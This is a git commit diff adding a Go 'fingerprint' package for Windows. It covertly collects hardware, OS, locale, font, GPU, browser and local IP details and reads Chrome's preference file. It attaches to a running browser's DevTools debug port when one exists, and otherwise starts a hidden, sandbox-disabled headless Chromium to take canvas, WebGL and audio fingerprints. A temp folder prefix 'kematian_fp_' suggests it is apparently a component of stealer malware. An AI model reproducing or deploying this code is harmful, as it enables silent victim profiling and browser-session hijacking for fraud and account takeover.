initial commit
This commit is contained in:
@@ -0,0 +1,264 @@
|
||||
//go:build windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams {
|
||||
return p.WithAwaitPromise(true)
|
||||
}
|
||||
|
||||
const fingerprintJS = `(async () => {
|
||||
const out = {};
|
||||
try {
|
||||
const c = document.createElement("canvas");
|
||||
c.width = 220; c.height = 60;
|
||||
const x = c.getContext("2d");
|
||||
x.textBaseline = "top";
|
||||
x.font = "14px 'Arial'";
|
||||
x.fillStyle = "#f60";
|
||||
x.fillRect(0, 0, 220, 60);
|
||||
x.fillStyle = "#069";
|
||||
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2);
|
||||
x.fillStyle = "rgba(102, 204, 0, 0.7)";
|
||||
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17);
|
||||
x.fillStyle = "#f60";
|
||||
x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill();
|
||||
out.canvas = c.toDataURL();
|
||||
} catch (e) {}
|
||||
try {
|
||||
const gl = document.createElement("canvas").getContext("webgl");
|
||||
if (gl) {
|
||||
const ext = gl.getExtension("WEBGL_debug_renderer_info");
|
||||
out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER));
|
||||
out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR));
|
||||
out.webglVersion = String(gl.getParameter(gl.VERSION));
|
||||
const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"];
|
||||
const params = {};
|
||||
for (const k of keys) {
|
||||
try {
|
||||
let v = gl.getParameter(gl[k]);
|
||||
if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v);
|
||||
params[k] = v;
|
||||
} catch (e) {}
|
||||
}
|
||||
out.webglParams = params;
|
||||
const exts = gl.getSupportedExtensions();
|
||||
out.webglExtensions = exts ? exts.slice().sort() : [];
|
||||
}
|
||||
} catch (e) {}
|
||||
try {
|
||||
const ac = new OfflineAudioContext(1, 44100, 44100);
|
||||
const osc = ac.createOscillator();
|
||||
osc.type = "triangle";
|
||||
osc.frequency.value = 10000;
|
||||
const comp = ac.createDynamicsCompressor();
|
||||
comp.threshold.value = -50;
|
||||
comp.knee.value = 40;
|
||||
comp.ratio.value = 12;
|
||||
comp.attack.value = 0;
|
||||
comp.release.value = 0.25;
|
||||
osc.connect(comp);
|
||||
comp.connect(ac.destination);
|
||||
osc.start(0);
|
||||
const buf = await ac.startRendering();
|
||||
const data = buf.getChannelData(0);
|
||||
let sum = 0;
|
||||
for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]);
|
||||
out.audio = sum;
|
||||
} catch (e) {}
|
||||
return out;
|
||||
})()`
|
||||
|
||||
func CollectJS() *JSResult {
|
||||
res, err := collectJS()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
func collectJS() (*JSResult, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
if wsURL := findExistingDebugURL(); wsURL != "" {
|
||||
logf("found existing debug endpoint")
|
||||
if res, err := runRemote(ctx, wsURL); err == nil {
|
||||
return res, nil
|
||||
} else {
|
||||
logf("existing debug endpoint failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
chrome := browserExePath("Chrome")
|
||||
if chrome == "" {
|
||||
chrome = browserExePath("Edge")
|
||||
}
|
||||
if chrome == "" {
|
||||
return nil, fmt.Errorf("no Chromium browser found")
|
||||
}
|
||||
logf("spawning hidden Chromium: %s", chrome)
|
||||
res, err := runHidden(ctx, chrome)
|
||||
if err != nil {
|
||||
logf("hidden Chromium failed: %v", err)
|
||||
}
|
||||
return res, err
|
||||
}
|
||||
|
||||
func runRemote(ctx context.Context, wsURL string) (*JSResult, error) {
|
||||
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
|
||||
defer cancel()
|
||||
return evalJS(allocCtx)
|
||||
}
|
||||
|
||||
func runHidden(ctx context.Context, chromePath string) (*JSResult, error) {
|
||||
dataDir, err := os.MkdirTemp("", "kematian_fp_*")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("temp profile dir: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(dataDir)
|
||||
|
||||
if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil {
|
||||
return res, nil
|
||||
} else {
|
||||
logf("GPU launch failed: %v; retrying with software rendering", err)
|
||||
}
|
||||
return runHiddenWith(ctx, chromePath, dataDir, false)
|
||||
}
|
||||
|
||||
func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) {
|
||||
args := []string{
|
||||
"--headless",
|
||||
"--no-sandbox",
|
||||
"--disable-dev-shm-usage",
|
||||
"--no-first-run",
|
||||
"--no-default-browser-check",
|
||||
"--disable-extensions",
|
||||
"--user-data-dir=" + dataDir,
|
||||
"--remote-debugging-port=0",
|
||||
"about:blank",
|
||||
}
|
||||
if gpu {
|
||||
args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox")
|
||||
} else {
|
||||
args = append(args, "--disable-gpu")
|
||||
}
|
||||
|
||||
cmd := exec.Command(chromePath, args...)
|
||||
cmd.Stdout = io.Discard
|
||||
cmd.Stderr = chromeLogWriter{}
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, fmt.Errorf("start chrome: %w", err)
|
||||
}
|
||||
defer func() { _ = cmd.Process.Kill() }()
|
||||
|
||||
wsURL, err := waitForDevTools(dataDir, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
|
||||
defer cancel()
|
||||
return evalJS(allocCtx)
|
||||
}
|
||||
|
||||
func waitForDevTools(dataDir string, timeout time.Duration) (string, error) {
|
||||
portFile := filepath.Join(dataDir, "DevToolsActivePort")
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
data, err := os.ReadFile(portFile)
|
||||
if err == nil {
|
||||
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
|
||||
if len(lines) >= 2 {
|
||||
port := strings.TrimSpace(lines[0])
|
||||
path := strings.TrimSpace(lines[1])
|
||||
if port != "" && path != "" {
|
||||
return "ws://127.0.0.1:" + port + path, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
return "", fmt.Errorf("chrome did not expose a DevTools port")
|
||||
}
|
||||
|
||||
type chromeLogWriter struct{}
|
||||
|
||||
func (chromeLogWriter) Write(p []byte) (int, error) {
|
||||
for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") {
|
||||
if line != "" {
|
||||
logf("chrome: %s", line)
|
||||
}
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func evalJS(allocCtx context.Context) (*JSResult, error) {
|
||||
cctx, cancel := chromedp.NewContext(allocCtx)
|
||||
defer cancel()
|
||||
|
||||
var out JSResult
|
||||
if err := chromedp.Run(cctx,
|
||||
chromedp.Navigate("about:blank"),
|
||||
chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise),
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func findExistingDebugURL() string {
|
||||
local := os.Getenv("LOCALAPPDATA")
|
||||
if local == "" {
|
||||
return ""
|
||||
}
|
||||
for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} {
|
||||
data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
|
||||
if len(lines) < 2 {
|
||||
continue
|
||||
}
|
||||
port := strings.TrimSpace(lines[0])
|
||||
if port == "" {
|
||||
continue
|
||||
}
|
||||
if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" {
|
||||
return wsURL
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func debugWebSocketURL(port string) (string, error) {
|
||||
client := &http.Client{Timeout: 2 * time.Second}
|
||||
resp, err := client.Get("http://127.0.0.1:" + port + "/json/version")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var v struct {
|
||||
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&v); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return v.WebSocketDebuggerURL, nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
func CollectJS() *JSResult {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
func Collect() *Result {
|
||||
return &Result{}
|
||||
}
|
||||
@@ -0,0 +1,483 @@
|
||||
//go:build windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
// ── Win32 API (raw syscalls) ──────────────────────────────────────
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||
|
||||
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||
procSystemParametersInfo = user32.NewProc("SystemParametersInfoW")
|
||||
procGetDC = user32.NewProc("GetDC")
|
||||
procReleaseDC = user32.NewProc("ReleaseDC")
|
||||
procGetDeviceCaps = gdi32.NewProc("GetDeviceCaps")
|
||||
procGetActiveProcessorCount = kernel32.NewProc("GetActiveProcessorCount")
|
||||
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
|
||||
procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName")
|
||||
procGetTimeZoneInformation = kernel32.NewProc("GetTimeZoneInformation")
|
||||
)
|
||||
|
||||
type memoryStatusEx struct {
|
||||
Length uint32
|
||||
MemoryLoad uint32
|
||||
TotalPhys uint64
|
||||
AvailPhys uint64
|
||||
TotalPageFile uint64
|
||||
AvailPageFile uint64
|
||||
TotalVirtual uint64
|
||||
AvailVirtual uint64
|
||||
AvailExtendedVirtual uint64
|
||||
}
|
||||
|
||||
type systemTime struct {
|
||||
Year uint16
|
||||
Month uint16
|
||||
DayOfWeek uint16
|
||||
Day uint16
|
||||
Hour uint16
|
||||
Minute uint16
|
||||
Second uint16
|
||||
Milliseconds uint16
|
||||
}
|
||||
|
||||
type timeZoneInformation struct {
|
||||
Bias int32
|
||||
StandardName [32]uint16
|
||||
StandardDate systemTime
|
||||
StandardBias int32
|
||||
DaylightName [32]uint16
|
||||
DaylightDate systemTime
|
||||
DaylightBias int32
|
||||
}
|
||||
|
||||
type rect struct {
|
||||
Left int32
|
||||
Top int32
|
||||
Right int32
|
||||
Bottom int32
|
||||
}
|
||||
|
||||
// ── Collect ───────────────────────────────────────────────────────
|
||||
|
||||
func Collect() *Result {
|
||||
r := &Result{
|
||||
Platform: "Win32",
|
||||
OSArch: runtime.GOARCH,
|
||||
}
|
||||
|
||||
r.OS = osProductName()
|
||||
r.HardwareConcurrency = cpuCores()
|
||||
r.DeviceMemory = deviceMemoryGB()
|
||||
r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES
|
||||
r.ScreenWidth = getSystemMetrics(0) // SM_CXSCREEN
|
||||
r.ScreenHeight = getSystemMetrics(1) // SM_CYSCREEN
|
||||
|
||||
var work rect
|
||||
if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) {
|
||||
r.AvailWidth = int(work.Right - work.Left)
|
||||
r.AvailHeight = int(work.Bottom - work.Top)
|
||||
}
|
||||
|
||||
hdc, _, _ := procGetDC.Call(0)
|
||||
if hdc != 0 {
|
||||
r.ColorDepth = getDeviceCaps(hdc, 12) // BITSPIXEL
|
||||
if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX
|
||||
r.DevicePixelRatio = float64(dpi) / 96.0
|
||||
}
|
||||
procReleaseDC.Call(0, hdc)
|
||||
}
|
||||
|
||||
r.Timezone, r.TimezoneOffset = timezoneInfo()
|
||||
r.Languages = languages()
|
||||
r.Fonts = fonts()
|
||||
r.GPU = gpuName()
|
||||
r.Browsers = installedBrowsers()
|
||||
r.UserAgent = userAgent(r.Browsers)
|
||||
r.LocalIPs = localIPs()
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func getSystemMetrics(index int) int {
|
||||
v, _, _ := procGetSystemMetrics.Call(uintptr(index))
|
||||
return int(v)
|
||||
}
|
||||
|
||||
func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool {
|
||||
r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni))
|
||||
return r != 0
|
||||
}
|
||||
|
||||
func getDeviceCaps(hdc uintptr, index int) int {
|
||||
v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index))
|
||||
return int(v)
|
||||
}
|
||||
|
||||
func cpuCores() int {
|
||||
v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS
|
||||
if v == 0 {
|
||||
return runtime.NumCPU()
|
||||
}
|
||||
return int(v)
|
||||
}
|
||||
|
||||
func deviceMemoryGB() int {
|
||||
var ms memoryStatusEx
|
||||
ms.Length = uint32(unsafe.Sizeof(ms))
|
||||
r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
|
||||
if r == 0 {
|
||||
return 0
|
||||
}
|
||||
gb := int(ms.TotalPhys / (1 << 30))
|
||||
if gb > 8 {
|
||||
gb = 8 // navigator.deviceMemory is clamped to 8
|
||||
}
|
||||
return gb
|
||||
}
|
||||
|
||||
// ── OS ─────────────────────────────────────────────────────────────
|
||||
|
||||
func osProductName() string {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return "Windows"
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
product, _, _ := k.GetStringValue("ProductName")
|
||||
build, _, _ := k.GetStringValue("CurrentBuildNumber")
|
||||
display, _, _ := k.GetStringValue("DisplayVersion")
|
||||
ubr, _, _ := k.GetStringValue("UBR")
|
||||
|
||||
name := product
|
||||
if name == "" {
|
||||
name = "Windows"
|
||||
}
|
||||
ver := display
|
||||
if ver == "" && build != "" {
|
||||
ver = build
|
||||
if ubr != "" {
|
||||
ver = build + "." + ubr
|
||||
}
|
||||
}
|
||||
if ver != "" {
|
||||
return name + " " + ver
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// ── Timezone ──────────────────────────────────────────────────────
|
||||
|
||||
// windowsToIANA maps common Windows timezone names to IANA identifiers.
|
||||
var windowsToIANA = map[string]string{
|
||||
"Eastern Standard Time": "America/New_York",
|
||||
"Central Standard Time": "America/Chicago",
|
||||
"Mountain Standard Time": "America/Denver",
|
||||
"Pacific Standard Time": "America/Los_Angeles",
|
||||
"Alaskan Standard Time": "America/Anchorage",
|
||||
"Hawaiian Standard Time": "Pacific/Honolulu",
|
||||
"Atlantic Standard Time": "America/Halifax",
|
||||
"Newfoundland Standard Time": "America/St_Johns",
|
||||
"GMT Standard Time": "Europe/London",
|
||||
"Greenwich Standard Time": "Atlantic/Reykjavik",
|
||||
"W. Europe Standard Time": "Europe/Berlin",
|
||||
"Central Europe Standard Time": "Europe/Budapest",
|
||||
"Romance Standard Time": "Europe/Paris",
|
||||
"Central European Standard Time": "Europe/Warsaw",
|
||||
"E. Europe Standard Time": "Europe/Chisinau",
|
||||
"Russian Standard Time": "Europe/Moscow",
|
||||
"Israel Standard Time": "Asia/Jerusalem",
|
||||
"China Standard Time": "Asia/Shanghai",
|
||||
"Tokyo Standard Time": "Asia/Tokyo",
|
||||
"Korea Standard Time": "Asia/Seoul",
|
||||
"Singapore Standard Time": "Asia/Singapore",
|
||||
"India Standard Time": "Asia/Kolkata",
|
||||
"AUS Eastern Standard Time": "Australia/Sydney",
|
||||
"New Zealand Standard Time": "Pacific/Auckland",
|
||||
"SA Pacific Standard Time": "America/Bogota",
|
||||
"Argentina Standard Time": "America/Argentina/Buenos_Aires",
|
||||
"E. South America Standard Time": "America/Sao_Paulo",
|
||||
}
|
||||
|
||||
func timezoneInfo() (string, int) {
|
||||
var tzi timeZoneInformation
|
||||
r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi)))
|
||||
if r == 0xFFFFFFFF {
|
||||
return "", 0
|
||||
}
|
||||
windowsName := syscall.UTF16ToString(tzi.StandardName[:])
|
||||
offset := -int(tzi.Bias)
|
||||
|
||||
iana := windowsToIANA[windowsName]
|
||||
if iana == "" {
|
||||
iana = windowsName
|
||||
}
|
||||
return iana, offset
|
||||
}
|
||||
|
||||
// ── Languages ─────────────────────────────────────────────────────
|
||||
|
||||
func languages() []string {
|
||||
var langs []string
|
||||
var buf [85]uint16
|
||||
r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
if r > 0 && r <= uintptr(len(buf)) {
|
||||
locale := syscall.UTF16ToString(buf[:r])
|
||||
if locale != "" {
|
||||
langs = append(langs, locale)
|
||||
}
|
||||
}
|
||||
|
||||
if prefs := chromeAcceptLanguages(); prefs != "" {
|
||||
for _, l := range strings.Split(prefs, ",") {
|
||||
l = strings.TrimSpace(l)
|
||||
if l != "" && !containsStr(langs, l) {
|
||||
langs = append(langs, l)
|
||||
}
|
||||
}
|
||||
}
|
||||
return langs
|
||||
}
|
||||
|
||||
func chromeAcceptLanguages() string {
|
||||
local := os.Getenv("LOCALAPPDATA")
|
||||
if local == "" {
|
||||
return ""
|
||||
}
|
||||
path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
s := string(data)
|
||||
idx := strings.Index(s, `"accept_languages"`)
|
||||
if idx < 0 {
|
||||
return ""
|
||||
}
|
||||
rest := s[idx:]
|
||||
colon := strings.Index(rest, ":")
|
||||
if colon < 0 {
|
||||
return ""
|
||||
}
|
||||
rest = rest[colon+1:]
|
||||
start := strings.Index(rest, `"`)
|
||||
if start < 0 {
|
||||
return ""
|
||||
}
|
||||
rest = rest[start+1:]
|
||||
end := strings.Index(rest, `"`)
|
||||
if end < 0 {
|
||||
return ""
|
||||
}
|
||||
return rest[:end]
|
||||
}
|
||||
|
||||
// ── Fonts ─────────────────────────────────────────────────────────
|
||||
|
||||
func fonts() []string {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`,
|
||||
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, err := k.ReadValueNames(-1)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var out []string
|
||||
seen := map[string]bool{}
|
||||
for _, name := range names {
|
||||
f := strings.TrimSpace(name)
|
||||
f = strings.TrimSuffix(f, " (TrueType)")
|
||||
f = strings.TrimSuffix(f, " (OpenType)")
|
||||
f = strings.TrimSuffix(f, " (All res)")
|
||||
if f == "" || seen[f] {
|
||||
continue
|
||||
}
|
||||
seen[f] = true
|
||||
out = append(out, f)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
// ── GPU ───────────────────────────────────────────────────────────
|
||||
|
||||
func gpuName() string {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
|
||||
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sub := range subs {
|
||||
if !strings.HasPrefix(sub, "0") {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
desc, _, _ := sk.GetStringValue("DriverDesc")
|
||||
sk.Close()
|
||||
desc = strings.TrimSpace(desc)
|
||||
if desc == "" || strings.Contains(desc, "Microsoft Basic Display") ||
|
||||
strings.Contains(desc, "Microsoft Remote Display") {
|
||||
continue
|
||||
}
|
||||
return desc
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── Installed browsers ────────────────────────────────────────────
|
||||
|
||||
var browserUpdateGUIDs = []struct {
|
||||
name string
|
||||
guid string
|
||||
}{
|
||||
{"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`},
|
||||
{"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`},
|
||||
{"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`},
|
||||
}
|
||||
|
||||
func installedBrowsers() []Browser {
|
||||
var out []Browser
|
||||
for _, b := range browserUpdateGUIDs {
|
||||
ver := browserVersion(b.guid)
|
||||
if ver == "" {
|
||||
continue
|
||||
}
|
||||
out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func browserVersion(guid string) string {
|
||||
for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
pv, _, err := k.GetStringValue("pv")
|
||||
k.Close()
|
||||
if err == nil && pv != "" {
|
||||
return pv
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func browserExePath(name string) string {
|
||||
var paths []string
|
||||
pf := os.Getenv("ProgramFiles")
|
||||
pf86 := os.Getenv("ProgramFiles(x86)")
|
||||
switch name {
|
||||
case "Chrome":
|
||||
paths = []string{
|
||||
filepath.Join(pf, `Google\Chrome\Application\chrome.exe`),
|
||||
filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`),
|
||||
}
|
||||
case "Edge":
|
||||
paths = []string{
|
||||
filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`),
|
||||
filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`),
|
||||
}
|
||||
case "Brave":
|
||||
paths = []string{
|
||||
filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`),
|
||||
filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`),
|
||||
}
|
||||
}
|
||||
for _, p := range paths {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── User agent ────────────────────────────────────────────────────
|
||||
|
||||
func userAgent(browsers []Browser) string {
|
||||
order := []string{"Chrome", "Edge", "Brave"}
|
||||
version := ""
|
||||
for _, want := range order {
|
||||
for _, b := range browsers {
|
||||
if b.Name == want && b.Version != "" {
|
||||
version = b.Version
|
||||
break
|
||||
}
|
||||
}
|
||||
if version != "" {
|
||||
break
|
||||
}
|
||||
}
|
||||
if version == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version)
|
||||
}
|
||||
|
||||
// ── Local IPs ─────────────────────────────────────────────────────
|
||||
|
||||
func localIPs() []string {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var ips []string
|
||||
for _, iface := range ifaces {
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, addr := range addrs {
|
||||
ip, _, err := net.ParseCIDR(addr.String())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() {
|
||||
s := v4.String()
|
||||
if !containsStr(ips, s) {
|
||||
ips = append(ips, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ips
|
||||
}
|
||||
|
||||
func containsStr(s []string, v string) bool {
|
||||
for _, x := range s {
|
||||
if x == v {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package fingerprint
|
||||
|
||||
type JSResult struct {
|
||||
Canvas string `json:"canvas,omitempty"`
|
||||
WebGLRenderer string `json:"webglRenderer,omitempty"`
|
||||
WebGLVendor string `json:"webglVendor,omitempty"`
|
||||
WebGLVersion string `json:"webglVersion,omitempty"`
|
||||
WebGLParams map[string]interface{} `json:"webglParams,omitempty"`
|
||||
WebGLExtensions []string `json:"webglExtensions,omitempty"`
|
||||
Audio float64 `json:"audio,omitempty"`
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package fingerprint
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[fingerprint] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package fingerprint
|
||||
|
||||
// Browser is an installed browser and its version.
|
||||
type Browser struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Path string `json:"path,omitempty"`
|
||||
}
|
||||
|
||||
// Result is the collected native fingerprint.
|
||||
type Result struct {
|
||||
UserAgent string `json:"userAgent"`
|
||||
Platform string `json:"platform"`
|
||||
OS string `json:"os"`
|
||||
OSArch string `json:"osArch"`
|
||||
Languages []string `json:"languages"`
|
||||
HardwareConcurrency int `json:"hardwareConcurrency"`
|
||||
DeviceMemory int `json:"deviceMemory"`
|
||||
MaxTouchPoints int `json:"maxTouchPoints"`
|
||||
ScreenWidth int `json:"screenWidth"`
|
||||
ScreenHeight int `json:"screenHeight"`
|
||||
AvailWidth int `json:"availWidth"`
|
||||
AvailHeight int `json:"availHeight"`
|
||||
ColorDepth int `json:"colorDepth"`
|
||||
DevicePixelRatio float64 `json:"devicePixelRatio"`
|
||||
Timezone string `json:"timezone"`
|
||||
TimezoneOffset int `json:"timezoneOffset"`
|
||||
Fonts []string `json:"fonts"`
|
||||
GPU string `json:"gpu"`
|
||||
Browsers []Browser `json:"browsers"`
|
||||
LocalIPs []string `json:"localIps"`
|
||||
}
|
||||
Reference in New Issue
Block a user